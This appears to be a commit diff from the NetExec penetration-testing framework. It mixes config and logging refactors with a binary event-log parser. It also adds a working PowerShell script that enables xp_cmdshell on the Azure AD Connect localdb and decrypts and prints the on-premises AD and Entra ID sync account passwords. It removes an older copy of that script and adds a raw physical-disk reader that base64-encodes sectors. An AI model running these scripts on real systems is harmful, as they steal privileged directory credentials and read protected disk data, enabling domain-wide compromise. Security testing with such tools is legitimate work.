def get_module_names():
|
||||
|
||||
+9
-6
@@ -1,7 +1,6 @@
|
||||
import os
|
||||
from os.path import join as path_join
|
||||
import configparser
|
||||
from nxc.paths import NXC_PATH, DATA_PATH
|
||||
from nxc.paths import DATA_PATH, CONFIG_PATH
|
||||
from nxc.first_run import first_run_setup
|
||||
from nxc.logger import nxc_logger
|
||||
from ast import literal_eval
|
||||
@@ -10,20 +9,25 @@ nxc_default_config = configparser.ConfigParser()
|
||||
nxc_default_config.read(path_join(DATA_PATH, "nxc.conf"))
|
||||
|
||||
nxc_config = configparser.ConfigParser()
|
||||
nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
|
||||
nxc_config.read(CONFIG_PATH)
|
||||
|
||||
if "nxc" not in nxc_config.sections():
|
||||
first_run_setup()
|
||||
nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
|
||||
nxc_config.read(CONFIG_PATH)
|
||||
|
||||
# Check if there are any missing options in the config file
|
||||
for section in nxc_default_config.sections():
|
||||
if not nxc_config.has_section(section):
|
||||
nxc_logger.display(f"Adding missing section '{section}' to nxc.conf")
|
||||
nxc_config.add_section(section)
|
||||
with open(CONFIG_PATH, "w") as config_file:
|
||||
nxc_config.write(config_file)
|
||||
for option in nxc_default_config.options(section):
|
||||
if not nxc_config.has_option(section, option):
|
||||
nxc_logger.display(f"Adding missing option '{option}' in config section '{section}' to nxc.conf")
|
||||
nxc_config.set(section, option, nxc_default_config.get(section, option))
|
||||
|
||||
with open(path_join(NXC_PATH, "nxc.conf"), "w") as config_file:
|
||||
with open(CONFIG_PATH, "w") as config_file:
|
||||
nxc_config.write(config_file)
|
||||
|
||||
# THESE OPTIONS HAVE TO EXIST IN THE DEFAULT CONFIG FILE
|
||||
@@ -32,7 +36,6 @@ pwned_label = nxc_config.get("nxc", "pwn3d_label", fallback="Pwn3d!")
|
||||
audit_mode = nxc_config.get("nxc", "audit_mode", fallback=False)
|
||||
reveal_chars_of_pwd = int(nxc_config.get("nxc", "reveal_chars_of_pwd", fallback=0))
|
||||
config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
|
||||
ignore_opsec = nxc_config.getboolean("nxc", "ignore_opsec", fallback=False)
|
||||
host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
|
||||
|
||||
|
||||
|
||||
+22
-21
@@ -1,3 +1,5 @@
|
||||
from datetime import datetime
|
||||
import os
|
||||
import random
|
||||
import sys
|
||||
import contextlib
|
||||
@@ -15,6 +17,7 @@ from nxc.helpers.logger import highlight
|
||||
from nxc.loaders.moduleloader import ModuleLoader
|
||||
from nxc.logger import nxc_logger, NXCAdapter
|
||||
from nxc.context import Context
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.protocols.ldap.laps import laps_search
|
||||
from nxc.helpers.pfx import pfx_auth
|
||||
|
||||
@@ -136,7 +139,11 @@ class connection:
|
||||
# Authentication info
|
||||
self.password = ""
|
||||
self.username = ""
|
||||
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey or (hasattr(self.args, "delegate") and self.args.delegate))
|
||||
self.kerberos = bool(self.args.kerberos or
|
||||
self.args.use_kcache or
|
||||
self.args.aesKey or
|
||||
(hasattr(self.args, "delegate") and self.args.delegate) or
|
||||
(hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets))
|
||||
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
|
||||
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
|
||||
self.admin_privs = False
|
||||
@@ -152,6 +159,11 @@ class connection:
|
||||
self.local_ip = None
|
||||
self.dns_server = self.args.dns_server
|
||||
|
||||
# Construct the output file template using os.path.join for OS compatibility
|
||||
base_log_dir = os.path.join(os.path.expanduser(NXC_PATH), "logs")
|
||||
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
|
||||
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
|
||||
|
||||
# DNS resolution
|
||||
dns_result = self.resolver(target)
|
||||
if dns_result:
|
||||
@@ -162,7 +174,7 @@ class connection:
|
||||
if self.kerberos:
|
||||
self.host = self.hostname
|
||||
|
||||
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
|
||||
self.logger.info(f"Socket info: host={self.host}, port={self.port}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
|
||||
|
||||
try:
|
||||
self.proto_flow()
|
||||
@@ -275,7 +287,7 @@ class connection:
|
||||
extra={
|
||||
"module_name": module.name.upper(),
|
||||
"host": self.host,
|
||||
"port": self.args.port,
|
||||
"port": self.port,
|
||||
"hostname": self.hostname,
|
||||
},
|
||||
)
|
||||
@@ -284,11 +296,6 @@ class connection:
|
||||
context = Context(self.db, module_logger, self.args)
|
||||
context.localip = self.local_ip
|
||||
|
||||
if hasattr(module, "on_request") or hasattr(module, "has_response"):
|
||||
self.logger.debug(f"Module {module.name} has on_request or has_response methods")
|
||||
self.server.connection = self
|
||||
self.server.context.localip = self.local_ip
|
||||
|
||||
if hasattr(module, "on_login"):
|
||||
self.logger.debug(f"Module {module.name} has on_login method")
|
||||
module.on_login(context, self)
|
||||
@@ -297,13 +304,8 @@ class connection:
|
||||
self.logger.debug(f"Module {module.name} has on_admin_login method")
|
||||
module.on_admin_login(context, self)
|
||||
|
||||
if (not hasattr(module, "on_request") and not hasattr(module, "has_response")) and hasattr(module, "on_shutdown"):
|
||||
self.logger.debug(f"Module {module.name} has on_shutdown method")
|
||||
module.on_shutdown(context, self)
|
||||
|
||||
def inc_failed_login(self, username):
|
||||
global global_failed_logins
|
||||
global user_failed_logins
|
||||
global global_failed_logins, user_failed_logins
|
||||
|
||||
if username not in user_failed_logins:
|
||||
user_failed_logins[username] = 0
|
||||
@@ -313,8 +315,7 @@ class connection:
|
||||
self.failed_logins += 1
|
||||
|
||||
def over_fail_limit(self, username):
|
||||
global global_failed_logins
|
||||
global user_failed_logins
|
||||
global global_failed_logins, user_failed_logins
|
||||
|
||||
if global_failed_logins == self.args.gfail_limit:
|
||||
return True
|
||||
@@ -322,7 +323,7 @@ class connection:
|
||||
if self.failed_logins == self.args.fail_limit:
|
||||
return True
|
||||
|
||||
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]:
|
||||
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # noqa: SIM103
|
||||
return True
|
||||
|
||||
return False
|
||||
@@ -389,7 +390,7 @@ class connection:
|
||||
if "\\" in line and len(line.split("\\")) == 2:
|
||||
domain_single, username_single = line.split("\\")
|
||||
else:
|
||||
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
|
||||
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain
|
||||
username_single = line
|
||||
domain.append(domain_single)
|
||||
username.append(username_single.strip())
|
||||
@@ -398,7 +399,7 @@ class connection:
|
||||
if "\\" in user:
|
||||
domain_single, username_single = user.split("\\")
|
||||
else:
|
||||
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
|
||||
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain
|
||||
username_single = user
|
||||
domain.append(domain_single)
|
||||
username.append(username_single)
|
||||
@@ -427,14 +428,14 @@ class connection:
|
||||
with open(ntlm_hash) as ntlm_hash_file:
|
||||
for i, line in enumerate(ntlm_hash_file):
|
||||
line = line.strip()
|
||||
if len(line) != 32 and len(line) != 65:
|
||||
if len(line) != 32 and len(line) != 65 and len(line) != 0:
|
||||
self.logger.fail(f"Invalid NTLM hash length on line {(i + 1)} (len {len(line)}): {line}")
|
||||
continue
|
||||
else:
|
||||
secret.append(line)
|
||||
cred_type.append("hash")
|
||||
else:
|
||||
if len(ntlm_hash) != 32 and len(ntlm_hash) != 65:
|
||||
if len(ntlm_hash) != 32 and len(ntlm_hash) != 65 and len(ntlm_hash) != 0:
|
||||
self.logger.fail(f"Invalid NTLM hash length {len(ntlm_hash)}, authentication not sent")
|
||||
exit(1)
|
||||
else:
|
||||
|
||||
+4
-2
@@ -1,6 +1,8 @@
|
||||
import configparser
|
||||
import os
|
||||
|
||||
from nxc.paths import NXC_PATH, CONFIG_PATH
|
||||
|
||||
|
||||
class Context:
|
||||
def __init__(self, db, logger, args):
|
||||
@@ -8,10 +10,10 @@ class Context:
|
||||
setattr(self, key, value)
|
||||
|
||||
self.db = db
|
||||
self.log_folder_path = os.path.join(os.path.expanduser("~/.nxc"), "logs")
|
||||
self.log_folder_path = os.path.join(NXC_PATH, "logs")
|
||||
self.localip = None
|
||||
|
||||
self.conf = configparser.ConfigParser()
|
||||
self.conf.read(os.path.expanduser("~/.nxc/nxc.conf"))
|
||||
self.conf.read(CONFIG_PATH)
|
||||
|
||||
self.log = logger
|
||||
@@ -0,0 +1,82 @@
|
||||
# Original script by @_xpn_: https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c
|
||||
# Modified by @NeffIsBack:
|
||||
# - Added support for Entra ID sync credentials (original source: https://github.com/Gerenios/AADInternals-Endpoints/blob/6af2054705e900b733ba76c6e65bfa6cad2328cc/AADSyncSettings.ps1#L108-L116)
|
||||
|
||||
# Function to decrypt the encrypted configuration of the Azure AD Connect sync stuff
|
||||
function decrypter($crypted, $key_id, $instance_id, $entropy) {
|
||||
$cmd = $client.CreateCommand()
|
||||
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
|
||||
$reader = $cmd.ExecuteReader()
|
||||
|
||||
$decrypted = [string]::Empty
|
||||
|
||||
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
|
||||
$decrypted += $reader.GetString(0)
|
||||
}
|
||||
$reader.Close()
|
||||
|
||||
if ($decrypted -eq [string]::Empty) {
|
||||
Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
|
||||
return
|
||||
}
|
||||
|
||||
return $decrypted
|
||||
}
|
||||
|
||||
# Create a connection to the localdb instance of Azure AD Connect
|
||||
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync2019;Initial Catalog=ADSync"
|
||||
|
||||
try {
|
||||
$client.Open()
|
||||
} catch {
|
||||
Write-Host "[!] Could not connect to localdb, Entra ID sync probably not installed"
|
||||
return
|
||||
}
|
||||
|
||||
function f {
|
||||
param ($q)
|
||||
$c = $client.CreateCommand()
|
||||
$c.CommandText = $q
|
||||
$r = $c.ExecuteReader()
|
||||
if (-not $r.Read()) {
|
||||
Write-Host "[!] Error querying: $q"
|
||||
return
|
||||
}
|
||||
$res = for ($i = 0; $i -lt $r.FieldCount; $i++) { $r.GetValue($i) }
|
||||
$r.Close()
|
||||
return $res
|
||||
}
|
||||
|
||||
# Get keyset_id, instance_id, entropy
|
||||
$out = f "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
|
||||
if (-not $out) { return }
|
||||
$key_id, $instance_id, $entropy = $out
|
||||
|
||||
# Get and decrypt on-prem AD credentials
|
||||
$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
|
||||
if (-not $out) { return }
|
||||
$on_prem, $c = $out
|
||||
$pd = decrypter $c $key_id $instance_id $entropy
|
||||
|
||||
# Get and decrypt Entra ID sync credentials
|
||||
$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
|
||||
if (-not $out) { return }
|
||||
$entra, $c = $out
|
||||
$qd = decrypter $c $key_id $instance_id $entropy
|
||||
|
||||
|
||||
|
||||
# Extract the credentials from the decrypted XML configurations
|
||||
$domain = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
|
||||
$username = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
|
||||
$pw = select-xml -Content $pd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
|
||||
|
||||
Write-Host "On-prem Domain: $($domain.Domain)"
|
||||
Write-Host "On-prem Username: $($username.Username)"
|
||||
Write-Host "On-prem Password: $($pw.Password)"
|
||||
|
||||
# Extract the Entra ID sync credentials
|
||||
$entra_user = ([xml]$entra).MAConfig.'parameter-values'.parameter[0].'#text'
|
||||
$entra_pw = select-xml -Content $qd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
|
||||
Write-Host "Entra ID Username: $($entra_user)"
|
||||
Write-Host "Entra ID Password: $($entra_pw.Password)"
|
||||
@@ -1,65 +0,0 @@
|
||||
$sqlbin=@(Get-ChildItem -Path C:\"Program Files"\"Microsoft SQL Server"\ -Filter sqllocaldb.exe -Recurse).fullname
|
||||
$db=@(cmd /c $sqlbin info | findstr /i ADSy)
|
||||
|
||||
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\$db;Initial Catalog=ADSync"
|
||||
|
||||
try {
|
||||
$client.Open()
|
||||
} catch {
|
||||
Write-Host "[!] Could not connect to localdb..."
|
||||
return
|
||||
}
|
||||
|
||||
Write-Host "[*] Querying ADSync localdb (mms_server_configuration)"
|
||||
|
||||
$cmd = $client.CreateCommand()
|
||||
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
|
||||
$reader = $cmd.ExecuteReader()
|
||||
if ($reader.Read() -ne $true) {
|
||||
Write-Host "[!] Error querying mms_server_configuration"
|
||||
return
|
||||
}
|
||||
|
||||
$key_id = $reader.GetInt32(0)
|
||||
$instance_id = $reader.GetGuid(1)
|
||||
$entropy = $reader.GetGuid(2)
|
||||
$reader.Close()
|
||||
|
||||
Write-Host "[*] Querying ADSync localdb (mms_management_agent)"
|
||||
|
||||
$cmd = $client.CreateCommand()
|
||||
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
|
||||
$reader = $cmd.ExecuteReader()
|
||||
if ($reader.Read() -ne $true) {
|
||||
Write-Host "[!] Error querying mms_management_agent"
|
||||
return
|
||||
}
|
||||
|
||||
$config = $reader.GetString(0)
|
||||
$crypted = $reader.GetString(1)
|
||||
$reader.Close()
|
||||
|
||||
Write-Host "[*] Using xp_cmdshell to run some Powershell as the service user"
|
||||
|
||||
$cmd = $client.CreateCommand()
|
||||
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key = `$null;`$km.GetActiveCredentialKey([ref]`$key);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
|
||||
$reader = $cmd.ExecuteReader()
|
||||
|
||||
$decrypted = [string]::Empty
|
||||
|
||||
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
|
||||
$decrypted += $reader.GetString(0)
|
||||
}
|
||||
|
||||
if ($decrypted -eq [string]::Empty) {
|
||||
Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
|
||||
return
|
||||
}
|
||||
|
||||
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
|
||||
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
|
||||
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
|
||||
|
||||
Write-Host "Domain: $($domain.Domain)"
|
||||
Write-Host "Username: $($username.Username)"
|
||||
Write-Host "Password: $($password.Password)"
|
||||
@@ -0,0 +1,95 @@
|
||||
Add-Type -TypeDefinition @"
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using Microsoft.Win32.SafeHandles;
|
||||
|
||||
public class CNativeMethods
|
||||
{
|
||||
public const uint GENERIC_READ = 0x80000000;
|
||||
public const uint OPEN_EXISTING = 3;
|
||||
public const uint FILE_SHARE_READ = 0x00000001;
|
||||
public const uint FILE_SHARE_WRITE = 0x00000002;
|
||||
public const uint FILE_SHARE_DELETE = 0x00000004;
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
public static extern SafeFileHandle CreateFile(
|
||||
string lpFileName,
|
||||
uint dwDesiredAccess,
|
||||
uint dwShareMode,
|
||||
IntPtr lpSecurityAttributes,
|
||||
uint dwCreationDisposition,
|
||||
uint dwFlagsAndAttributes,
|
||||
IntPtr hTemplateFile
|
||||
);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool ReadFile(
|
||||
SafeFileHandle hFile,
|
||||
byte[] lpBuffer,
|
||||
uint nNumberOfBytesToRead,
|
||||
out uint lpNumberOfBytesRead,
|
||||
IntPtr lpOverlapped
|
||||
);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool SetFilePointerEx(
|
||||
SafeFileHandle hFile,
|
||||
long lDistanceToMove,
|
||||
out long lpNewFilePointer,
|
||||
uint dwMoveMethod
|
||||
);
|
||||
}
|
||||
|
||||
public enum EMoveMethod : uint
|
||||
{
|
||||
Begin = 0,
|
||||
Current = 1,
|
||||
End = 2
|
||||
}
|
||||
"@
|
||||
Function read_disk{
|
||||
$offset = [long]$args[0]
|
||||
$size = [int]$args[1]
|
||||
try {
|
||||
$handle = [CNativeMethods]::CreateFile("\\.\PHYSICALDRIVE0",
|
||||
[CNativeMethods]::GENERIC_READ,
|
||||
[CNativeMethods]::FILE_SHARE_READ -bor [CNativeMethods]::FILE_SHARE_WRITE -bor [CNativeMethods]::FILE_SHARE_DELETE,
|
||||
[IntPtr]::Zero, [CNativeMethods]::OPEN_EXISTING, 0, [IntPtr]::Zero)
|
||||
|
||||
if ($handle.IsInvalid) {
|
||||
throw "Failed to create file handle"
|
||||
}
|
||||
|
||||
$moveToHigh = 0
|
||||
$success = [CNativeMethods]::SetFilePointerEx($handle, $offset, [ref]$moveToHigh, [EMoveMethod]::Begin)
|
||||
if (-not $success) {
|
||||
throw "Failed to set file pointer"
|
||||
}
|
||||
|
||||
$buffer = New-Object byte[] $size
|
||||
$bytesRead = 0
|
||||
$success = [CNativeMethods]::ReadFile($handle, $buffer, $size, [ref]$bytesRead, [IntPtr]::Zero)
|
||||
|
||||
if (-not $success) {
|
||||
throw "Failed to read file"
|
||||
}
|
||||
|
||||
$memoryStream = New-Object System.IO.MemoryStream
|
||||
$gzipStream = New-Object System.IO.Compression.GzipStream($memoryStream, [System.IO.Compression.CompressionMode]::Compress)
|
||||
$gzipStream.Write($buffer, 0, $buffer.Length)
|
||||
$gzipStream.Close()
|
||||
|
||||
$compressedBytes = $memoryStream.ToArray()
|
||||
$compressedBase64 = [Convert]::ToBase64String($compressedBytes)
|
||||
|
||||
Write-Output $compressedBase64
|
||||
} catch {
|
||||
Write-Error "An error occurred: $_"
|
||||
}
|
||||
|
||||
finally {
|
||||
if ($handle -and !$handle.IsInvalid) {
|
||||
$handle.Close()
|
||||
}
|
||||
}
|
||||
}
|
||||
+3
-1
@@ -5,7 +5,6 @@ pwn3d_label = Pwn3d!
|
||||
audit_mode =
|
||||
reveal_chars_of_pwd = 0
|
||||
log_mode = False
|
||||
ignore_opsec = True
|
||||
host_info_colors = ["green", "red", "yellow", "cyan"]
|
||||
|
||||
[BloodHound]
|
||||
@@ -15,6 +14,9 @@ bh_port = 7687
|
||||
bh_user = neo4j
|
||||
bh_pass = bloodhoundcommunityedition
|
||||
|
||||
[BloodHound-CE]
|
||||
bhce_enabled = True
|
||||
|
||||
[Empire]
|
||||
api_host = 127.0.0.1
|
||||
api_port = 1337
|
||||
|
||||
@@ -111,6 +111,7 @@ def initialize_db():
|
||||
# Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol)
|
||||
init_protocol_dbs("default")
|
||||
|
||||
|
||||
def format_host_query(q, filter_term, HostsTable):
|
||||
"""One annoying thing is that if you search for an ip such as '10.10.10.5',
|
||||
it will return 10.10.10.5 and 10.10.10.52, so we have to check if its an ip address first
|
||||
@@ -141,6 +142,7 @@ def format_host_query(q, filter_term, HostsTable):
|
||||
|
||||
return q
|
||||
|
||||
|
||||
class BaseDB:
|
||||
def __init__(self, db_engine):
|
||||
self.db_engine = db_engine
|
||||
|
||||
+2
-8
@@ -8,18 +8,16 @@ from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
def first_run_setup(logger=nxc_logger):
|
||||
if not exists(TMP_PATH):
|
||||
mkdir(TMP_PATH)
|
||||
|
||||
if not exists(NXC_PATH):
|
||||
logger.display("First time use detected")
|
||||
logger.display("Creating home directory structure")
|
||||
mkdir(NXC_PATH)
|
||||
if not exists(TMP_PATH):
|
||||
mkdir(TMP_PATH)
|
||||
|
||||
folders = (
|
||||
"logs",
|
||||
"modules",
|
||||
"protocols",
|
||||
"workspaces",
|
||||
"obfuscated_scripts",
|
||||
"screenshots",
|
||||
@@ -46,7 +44,3 @@ def first_run_setup(logger=nxc_logger):
|
||||
logger.display("Copying default configuration file")
|
||||
default_path = path_join(DATA_PATH, "nxc.conf")
|
||||
shutil.copy(default_path, NXC_PATH)
|
||||
|
||||
# if not exists(CERT_PATH):
|
||||
# if os.name != 'nt':
|
||||
# if e.errno == errno.ENOENT:
|
||||
@@ -1,6 +1,7 @@
|
||||
from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE
|
||||
from argparse import Action
|
||||
|
||||
|
||||
class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
|
||||
def _get_help_string(self, action):
|
||||
help_string = action.help
|
||||
|
||||
@@ -0,0 +1,213 @@
|
||||
# SPDX-License-Identifier: GPL-2.0+
|
||||
|
||||
import struct
|
||||
import uuid
|
||||
|
||||
from datetime import datetime
|
||||
|
||||
|
||||
class Substitution:
|
||||
def __init__(self, buf, offset):
|
||||
(sub_token, sub_id, sub_type) = struct.unpack_from("<BHB", buf, offset)
|
||||
self.length = 4
|
||||
|
||||
self._id = sub_id
|
||||
self._type = sub_type
|
||||
self._optional = sub_token == 0x0e
|
||||
|
||||
def xml(self, template=None):
|
||||
value = template.values[self._id]
|
||||
if value.type == 0x0:
|
||||
return None if self._optional else ""
|
||||
if self._type == 0x1:
|
||||
return value.data.decode("utf16")
|
||||
elif self._type == 0x4:
|
||||
return str(struct.unpack("<B", value.data)[0])
|
||||
elif self._type == 0x6:
|
||||
return str(struct.unpack("<H", value.data)[0])
|
||||
elif self._type == 0x8:
|
||||
return str(struct.unpack("<I", value.data)[0])
|
||||
elif self._type == 0xa:
|
||||
return str(struct.unpack("<Q", value.data)[0])
|
||||
elif self._type == 0x11:
|
||||
# see http://integriography.wordpress.com/2010/01/16/using-phython-to-parse-and-present-windows-64-bit-timestamps/
|
||||
return datetime.utcfromtimestamp(struct.unpack("<Q", value.data)[0] / 1e7 - 11644473600).isoformat()
|
||||
elif self._type == 0x13:
|
||||
# see http://www.gossamer-threads.com/lists/apache/bugs/386930
|
||||
revision, number_of_sub_ids = struct.unpack_from("<BB", value.data)
|
||||
iav = struct.unpack_from(">Q", value.data, 2)[0]
|
||||
sub_ids = [struct.unpack("<I", value.data[8 + 4 * i:12 + 4 * i])[0] for i in range(number_of_sub_ids)]
|
||||
return "S-{}-{}-{}".format(revision, iav, "-".join([str(sub_id) for sub_id in sub_ids]))
|
||||
elif self._type == 0x15 or self._type == 0x10:
|
||||
return value.data.hex()
|
||||
elif self._type == 0x21:
|
||||
return value.template.xml()
|
||||
elif self._type == 0xf:
|
||||
return str(uuid.UUID(bytes_le=value.data))
|
||||
else:
|
||||
print("Unknown value type", hex(value.type))
|
||||
|
||||
|
||||
class Value:
|
||||
def __init__(self, buf, offset):
|
||||
token, string_type, length = struct.unpack_from("<BBH", buf, offset)
|
||||
self._val = buf[offset + 4:offset + 4 + length * 2].decode("utf16")
|
||||
|
||||
self.length = 4 + length * 2
|
||||
|
||||
def xml(self, template=None):
|
||||
return self._val
|
||||
|
||||
|
||||
class Attribute:
|
||||
def __init__(self, buf, offset):
|
||||
struct.unpack_from("<B", buf, offset)
|
||||
self._name = Name(buf, offset + 1)
|
||||
|
||||
(next_token) = struct.unpack_from("<B", buf, offset + 1 + self._name.length)
|
||||
if next_token[0] == 0x05 or next_token == 0x45:
|
||||
self._value = Value(buf, offset + 1 + self._name.length)
|
||||
elif next_token[0] == 0x0e:
|
||||
self._value = Substitution(buf, offset + 1 + self._name.length)
|
||||
else:
|
||||
print("Unknown attribute next_token", hex(next_token[0]), hex(offset + 1 + self._name.length))
|
||||
|
||||
self.length = 1 + self._name.length + self._value.length
|
||||
|
||||
def xml(self, template=None):
|
||||
val = self._value.xml(template)
|
||||
return None if val is None else f'{self._name.val}="{val}"'
|
||||
|
||||
|
||||
class Name:
|
||||
def __init__(self, buf, offset):
|
||||
hashs, length = struct.unpack_from("<HH", buf, offset)
|
||||
|
||||
self.val = buf[offset + 4:offset + 4 + length * 2].decode("utf16")
|
||||
self.length = 4 + (length + 1) * 2
|
||||
|
||||
|
||||
class Element:
|
||||
def __init__(self, buf, offset):
|
||||
token, dependency_id, length = struct.unpack_from("<BHI", buf, offset)
|
||||
|
||||
self._name = Name(buf, offset + 7)
|
||||
self._dependency = dependency_id
|
||||
|
||||
ofs = offset + 7 + self._name.length
|
||||
if token == 0x41:
|
||||
struct.unpack_from("<I", buf, ofs)
|
||||
ofs += 4
|
||||
|
||||
self._children = []
|
||||
self._attributes = []
|
||||
|
||||
while True:
|
||||
next_token = buf[ofs]
|
||||
if next_token == 0x06 or next_token == 0x46:
|
||||
attr = Attribute(buf, ofs)
|
||||
self._attributes.append(attr)
|
||||
ofs += attr.length
|
||||
elif next_token == 0x02:
|
||||
self._empty = False
|
||||
ofs += 1
|
||||
while True:
|
||||
next_token = buf[ofs]
|
||||
if next_token == 0x01 or next_token == 0x41:
|
||||
element = Element(buf, ofs)
|
||||
elif next_token == 0x04:
|
||||
ofs += 1
|
||||
break
|
||||
elif next_token == 0x05:
|
||||
element = Value(buf, ofs)
|
||||
elif next_token == 0x0e or next_token == 0x0d:
|
||||
element = Substitution(buf, ofs)
|
||||
else:
|
||||
print("Unknown intern next_token", hex(next_token), hex(ofs))
|
||||
break
|
||||
|
||||
self._children.append(element)
|
||||
ofs += element.length
|
||||
|
||||
break
|
||||
elif next_token == 0x03:
|
||||
self._empty = True
|
||||
ofs += 1
|
||||
break
|
||||
else:
|
||||
print("Unknown element next_token", hex(next_token), hex(ofs))
|
||||
break
|
||||
|
||||
self.length = ofs - offset
|
||||
|
||||
def xml(self, template=None):
|
||||
if self._dependency != 0xFFFF and template.values[self._dependency].type == 0x00:
|
||||
return ""
|
||||
|
||||
attrs = filter(lambda x: x is not None, (x.xml(template) for x in self._attributes))
|
||||
|
||||
attrs = " ".join(attrs)
|
||||
if len(attrs) > 0:
|
||||
attrs = " " + attrs
|
||||
|
||||
if self._empty:
|
||||
return f"<{self._name.val}{attrs}/>"
|
||||
else:
|
||||
children = (x.xml(template) for x in self._children)
|
||||
return "<{}{}>{}</{}>".format(self._name.val, attrs, "".join(children), self._name.val)
|
||||
|
||||
|
||||
class ValueSpec:
|
||||
def __init__(self, buf, offset, value_offset):
|
||||
self.length, self.type, value_eof = struct.unpack_from("<HBB", buf, offset)
|
||||
self.data = buf[value_offset:value_offset + self.length]
|
||||
|
||||
if self.type == 0x21:
|
||||
self.template = BinXML(buf, value_offset)
|
||||
|
||||
|
||||
class TemplateInstance:
|
||||
def __init__(self, buf, offset):
|
||||
token, unknown0, guid, length, next_token = struct.unpack_from("<BB16sIB", buf, offset)
|
||||
if next_token == 0x0F:
|
||||
self._xml = BinXML(buf, offset + 0x16)
|
||||
eof, num_values = struct.unpack_from("<BI", buf, offset + 22 + self._xml.length)
|
||||
values_length = 0
|
||||
self.values = []
|
||||
for x in range(num_values):
|
||||
value = ValueSpec(buf, offset + 22 + self._xml.length + 5 + x * 4, offset + 22 + self._xml.length + 5 + num_values * 4 + values_length)
|
||||
self.values.append(value)
|
||||
values_length += value.length
|
||||
|
||||
self.length = 22 + self._xml.length + 5 + num_values * 4 + values_length
|
||||
else:
|
||||
print("Unknown template token", hex(next_token))
|
||||
|
||||
def xml(self, template=None):
|
||||
return self._xml.xml(self)
|
||||
|
||||
|
||||
class BinXML:
|
||||
def __init__(self, buf, offset):
|
||||
header_token, major_version, minor_version, flags, next_token = struct.unpack_from("<BBBBB", buf, offset)
|
||||
|
||||
